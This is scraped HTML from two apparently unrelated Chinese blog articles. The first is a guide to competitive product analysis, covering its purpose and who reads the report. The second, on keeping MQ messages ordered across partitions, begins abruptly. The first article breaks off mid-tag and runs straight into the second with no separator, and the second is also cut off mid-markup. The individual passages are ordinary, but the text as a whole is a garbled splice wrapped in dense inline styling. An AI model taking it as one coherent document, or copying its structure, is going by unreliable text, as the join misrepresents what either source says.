&quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">竞品分析是一个过程,不是说我从APP store找一两个做的差不多的产品分析一下就叫做竞品分析,<span style="font-weight: 600;">竞品分析是一个长时间定期持续积累,不断挖掘和分析的一个过程</span>,竞品分析不是说我写一个报告就行了,那只是一个形式,更重要的是我们从竞品上学到了那些东西,这个果才重要!</span> </section> <section style="margin: -0.8em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <br> </section> <h2 style="margin: 2.33333em 16px 1.16667em;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-weight: 600;font-stretch: inherit;font-size: 1.2em;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;clear: left;color: rgb(26, 26, 26);text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"><strong><span style="font-size: 17px;">竞品分析和产品体验区别</span></strong></h2> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">竞品分析就是横向比较,强调对比,竞就是竞争的意思么,产品体验则强调你对产品体验的深度,强调纵向的挖掘。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">举个例子:“这个男生怎么怎么样”这就是产品体验</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">竞品分析就是你看看别人家的男朋友。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">你不做这个行业的,你去体验别人的产品那只能叫体验,你那这个产品和你做的产品对比分析,然后得出结论,这叫竞品分析。</span> </section> <section style="margin: -0.8em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <br> </section> <h2 style="margin: 2.33333em 16px 1.16667em;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-weight: 600;font-stretch: inherit;font-size: 1.2em;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;clear: left;color: rgb(26, 26, 26);text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"><strong><span style="font-size: 17px;">为什么要做竞品分析?</span></strong></h2> <figure data-size="normal" style="margin-top: 1.4em;margin-bottom: 1.4em;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"> <img class="rich_pages wxw-img" data-ratio="0.21833333333333332" src="/upload/cfc145c845bc7dfb9628bd668ae43fa.jpg" data-type="jpeg" data-w="600" style="display: block;margin-right: auto;margin-left: auto;cursor: zoom-in;background-color: transparent;animation: fxRichTextFadeIn 0.5s ease-in;box-shadow: rgb(170, 170, 170) 0px 0px 14px 0px;border-radius: 10px;" width="600"> </figure> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">“知己知彼、百战不殆”,就是说打仗的时候,知道敌人的信息,也知道自己的信息,然后来制定战略战术,商场如战场,我们从事的都是商业行为,所以我们也需要进行竞品分析。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">那竞品分析有啥好处呢?从战略上讲,在你要进入一个行业,你需要分析这个行业的竞争对手有哪些,竞争对手的产品战略是啥,从而制定自己产品的发展战略,梳理产品发展脉络,从而寻找新的市场切入点。其实这属于用户体验五要素的战略层。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;line-height: 2em;"> <span style="font-size: 15px;"><span style="background-color: rgb(255, 255, 255);">从战术上讲,就是了解你的竞争对手每一步走做了</span></span> <span style="font-size: 15px;background-color: rgb(255, 255, 255);">哪</span> <span style="font-size: 15px;"><span style="background-color: rgb(255, 255, 255);">些操作,例如:</span><span style="background-color: rgb(255, 255, 255);">每一版本都迭代了那些功能,然后有没有值得我们借鉴的,这属于用户体验要素的范围层。</span></span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">结构层、业务层、表现层。可以借鉴别人的产品架构、别人的交互流程、别人的视觉表现,取其精华,去其糟粕。</span> </section> <section style="margin: -0.8em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <br> </section> <h2 style="margin: 2.33333em 16px 1.16667em;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-weight: 600;font-stretch: inherit;font-size: 1.2em;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;clear: left;color: rgb(26, 26, 26);text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"><span style="font-size: 17px;">竞品分析前的准备</span></h2> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-weight: 600;font-size: 15px;">1、明确目的</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">对于大部分事情来说,目的决定一切。竞品分析自然也不例外,一切不以“目的”为目的的竞品分析都是耍流氓!我们在做竞品分析之前必须先把自己的目的搞清楚,否则很容易盲目,并且把事情想得过于复杂,做分析的时候也就会变得很吃力。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">那么,这个目的是什么呢?这个目的就是我们做竞品分析希望得到的东西,这就是我们的目的,不同的目的决定了我们做竞品分析的思路是不一样的。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">从普遍性的角度来说,竞品分析的目的就是用来指导我们的产品的研发改进的,我们需要通过竞品分析,了解市场行情,竞品的战略以及功能等资料信息,或者了解我们与竞争对手的差距,然后得出一些有用的分析结论和获得一些新的产品切入点,从而借鉴于产品的研发和迭代,用来增强我们自身产品的核心竞争力,最终实现占领市场的目的,有时候甚至可以为运营作参考。正所谓知己知彼百战不殆嘛!当然,这个普遍性角度的说法还是有点空泛。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">那么从特殊性的角度来说,那么就要根据每个人每个公司当下产品的实际情况来决定,这里我用举例来阐述吧:</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">(1)比如说,团队对我们产品里面某个功能是否需要修改犹豫不决,因此希望借助竞品分析来给这个功能是否修改提供一个依据,那么从这个目的出发,我们只要找到有相关功能的竞品,然后主要对这个功能进行对比研究分析即可。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">(2)又比如说,在战略层面上,团队对产品的商业模式有一些疑问,因此想通过竞品分析来拓展商业模式方面的一些思路,那么从这个目的出发,我们就要从宏观上找到相关的竞品,看看它们的运作方式,了解它们的盈利点,再与它们进行对比分析。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">(3)再比如说,我们对自己产品的交互设计以及视觉UI设计不够满意,领导也希望能有个改进,变得更加易用并且美观。那么从这个目的出发,我们就要找到那些交互和视觉设计都做得不错的竞品进行比较分析,然后主要从交互和视觉角度去比较分析即可。取其精华去其糟粕。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">当然,例子是举不完的,我在这里只是想表达一个意思,做竞品分析也要有针对性,从目的出发,这样才能提高竞品分析的效率。在这里,你需要明确通过这个竞品分析,你和你的团队到底想要得到什么?是想验证一个结论呢?还是想得到一致的共识?又或者是想作为启发产品迭代的入手点?总之,你要搞清楚自己的目的。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">不过,有时候我们还要考虑的是竞品分析报告到底是给谁看的问题。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">至于客服,运营等等部门,我觉得一般不会要求看竞品分析报告,如果确实要看,那么对于他们来说,并不需要很复杂,主要把竞品的一些比较新或者比较好功能做对比说清楚就行了。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">但是,有些竞品分析报告可能是给领导看的,这里就要注意老板比较关心什么的问题了,如果老板关心的比较细,那么我们还是要从产品团队或者研发设计团队的角度去作报告。不过一般来说,老板关心的层次会比较高,比如说竞品与我们在业内的地位比较,行业的方向,产品的发展方向以及竞争力等等,那么我们的竞品分析报告就要往这些方面侧重。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">大部分情况下,我们做竞品分析还是给自己的产品团队或者研发设计团队看的,我觉得这种报告也是最接地气的报告,那么我们就按照我们的目的来分析就行,我们自己想得到什么东西,那么我们就去分析什么!</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">好了,在这一步,你把你的目的确定了,那也就等于你确定了以下三点:</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">(1)你的竞品报告是为了谁(产品团队、研发设计还是运营、老板)而做</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">(2)你要着重分析哪些内容</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">(3)这个报告需要为谁(产品团队、研发设计还是运营、老板)带来什么有价值的结论和建议。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica N

实战!如何保证 MQ消息是有序的?

作者:微信小助手

<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="line-height: 1.6;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;padding: 5px;font-size: 16px;color: rgb(53, 53, 53);word-spacing: 0.8px;letter-spacing: 0.8px;border-radius: 16px;" data-mpa-powered-by="yiban.io"> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;"><span style="font-weight: 700;color: rgb(248, 57, 41);">大家好,我是不才陈某~</span></p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">为了系统间解耦,我们通常会引入<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">MQ</code>框架,大家各司其职共同完成上下游的业务流程。</p> <figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;border-radius: 16px;overflow: hidden;padding: 0px 0.5em;"> <img class="rich_pages wxw-img" data-ratio="0.275" src="/upload/ae3349fe9e1d28a4866634cadaa6f512.png" data-type="other" data-w="1080" style="border-radius: 9px;display: block;margin: 20px auto;max-width: 95%;object-fit: contain;box-shadow: rgb(210, 210, 210) 0em 0em 0.5em 0px;font-size: 17px;"> </figure> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;"><span style="font-weight: 700;color: rgb(248, 57, 41);">大致过程:</span></p> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(248, 57, 41);" class="list-paddingleft-2"> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> 生产端,创建一条消息,通过网络发送到MQ Server </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> MQ将 消息存储在topic 的 <span style="font-weight: 700;color: rgb(248, 57, 41);">一个分区</span>里 </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(53, 53, 53);"> 消费端,从分区中拉取消息,消费处理 </section></li> </ul> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;"><span style="font-weight: 700;color: rgb(248, 57, 41);">但现实往往不一样!MQ 架构设计要满足高并发、高性能、高可用等指标</span></p> <figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;border-radius: 16px;overflow: hidden;padding: 0px 0.5em;"> <img class="rich_pages wxw-img" data-ratio="1" src="/upload/8b5b7459039936c31613a394ac3afa7c.png" data-type="other" data-w="225" style="border-radius: 9px;display: block;margin: 20px auto;max-width: 95%;object-fit: contain;box-shadow: rgb(210, 210, 210) 0em 0em 0.5em 0px;font-size: 17px;"> </figure> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">单分区,达不到我们的吞吐量要求,我们考虑采用<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">多分区</code>架构设计,正所谓 ”三个臭皮匠赛过一个诸葛亮“,多分区可以有效分摊全局压力,提升整体系统性能。</p> <figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;border-radius: 16px;overflow: hidden;padding: 0px 0.5em;"> <img class="rich_pages wxw-img" data-ratio="0.4898148148148148" src="/upload/e2c3df79869ea2babd34d22717cc961b.png" data-type="other" data-w="1080" style="border-radius: 9px;display: block;margin: 20px auto;max-width: 95%;object-fit: contain;box-shadow: rgb(210, 210, 210) 0em 0em 0.5em 0px;font-size: 17px;"> </figure> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">两台 MQ机器,组成一个集群,原先一个分区存储<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">6条消息</code>,现在分摊到两个分区,每个分区各存储<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">3条消息</code>,性能比上面那个提升一倍。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">貌似可以满足我们的需求,但任何事情都有两面性!</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;"><span style="font-weight: 700;color: rgb(248, 57, 41);">我们看看下面业务场景:</span></p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">一个用户在电商网站上下订单到交易完成,中间会经历一系列动作,订单的状态也会随之变化,一个订单会产生多条MQ消息,<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">下单</code>、<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">付款</code>、<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">发货</code>、<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">买家确认收货</code>,消费端需要严格按照业务状态机的顺序处理,否则,就会出现业务问题。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">我们发现,消息带上了状态,不再是一个个独立的个体,有了上下文依赖关系!</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;">对于这个问题,突然想到<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 93, 108);">HTTP协议</code>,其本身也是无状态的,也就是说前后两次请求没有关联,但有些业务功能有登录要求,那怎么解决?</p> <blockquote data-tool="mdnice编辑器" style="border-width: initial;border-style: none;border-color: initial;font-size: 0.9em;overflow: auto;margin-bottom: 20px;margin-top: 20px;padding-top: 15px;padding-right: 10px;padding-bottom: 15px;line-height: 1.75;border-radius: 13px;color: rgb(53, 53, 53);background: rgb(245, 245, 245);"> <span style="display: block;font-size: 2em;color: rgb(248, 57, 41);font-family: Arial, serif;line-height: 1em;font-weight: 700;">“</span> <p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;font-size: 16px;margin-right: 10px;margin-left: 10px;">引入Cookie机制,每次请求客户端额外传输一些数据,来达到上下文关联。</p> <span style="float: right;display: block;font-size: 2em;color: rgb(248, 57, 41);font-family: Arial, serif;line-height: 1em;font-weight: 700;">”</span> </blockquote> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 1.75;margin-top: 0.8em;margin-bottom: 0.8em;"><span style="font-weight: 700;color: rgb(248, 57, 41);">回到MQ的消息顺序问题,我们要如何解决?</span></p> <figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;border-radius: 16px;overflow: hidden;padding: 0px 0.5em;"> <img class="rich_pages wxw-img" data-ratio="0.3648148148148148" src="/upload/35a634732e6c586c98168d821396984b.png" data-type="other" data-w="1080" style="border-radius: 9px;display: block;margin: 20px auto;max-width: 95%;object-fit: contain;box-shadow: rgb(210, 210, 210) 0em 0em 0.5em 0px;font-size: 17px;"> </figure> <p data-tool="mdnice编辑器" style="padding-top: 